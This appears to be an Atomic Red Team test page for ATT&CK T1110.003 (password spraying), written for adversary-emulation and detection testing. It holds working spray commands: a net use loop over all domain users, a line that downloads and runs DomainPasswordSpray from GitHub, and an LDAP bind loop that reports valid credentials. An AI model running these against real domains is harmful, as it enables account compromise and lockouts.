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T1110.003 - Password Spraying

Description from ATT&CK

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

  • SSH (22/TCP)
  • Telnet (23/TCP)
  • FTP (21/TCP)
  • NetBIOS / SMB / Samba (139/TCP & 445/TCP)
  • LDAP (389/TCP)
  • Kerberos (88/TCP)
  • RDP / Terminal Services (3389/TCP)
  • HTTP/HTTP Management Services (80/TCP & 443/TCP)
  • MSSQL (1433/TCP)
  • Oracle (1521/TCP)
  • MySQL (3306/TCP)
  • VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

Atomic Tests


Atomic Test #1 - Password Spray all Domain Users

CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently. This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray. Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt. See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
password The password to try for each user in users.txt string Spring2020

Attack Commands: Run with command_prompt!

@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL

Dependencies: Run with command_prompt!

Description: List of domain users to password spray must exits at %temp%\users.txt
Check Prereq Commands:
if not exist %temp%\users.txt (exit /b 1)
Get Prereq Commands:
PathToAtomicsFolder\T1110.003\src\parse_net_users.bat


Atomic Test #2 - Password Spray (DomainPasswordSpray)

Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

https://github.com/dafthack/DomainPasswordSpray

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
domain Domain to brute force against String (Get-ADDomain

Attack Commands: Run with powershell!

IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1'); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force


Atomic Test #3 - Password spray all domain users with a single password via LDAP against domain controller (NTLM or Kerberos)

Attempt to brute force all domain user with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos

Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
password single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001) String P@ssw0rd!
domain Domain FQDN String contoso.com
auth authentication method to choose between "NTLM" and "Kerberos" string NTLM

Attack Commands: Run with powershell!

if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
  Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
  exit 1
}

$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName

[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

$DomainUsers | Foreach-Object {
  $user = $_
  $password = "#{password}"

  $credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
  try {
    Write-Host " [-] Attempting ${password} on account ${user}."
    $conn.bind()
    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
    Write-Host " [!] ${user}:${password} are valid credentials!"
  } catch {
    Write-Host $_.Exception.Message
  }
}
Write-Host "End of password spraying"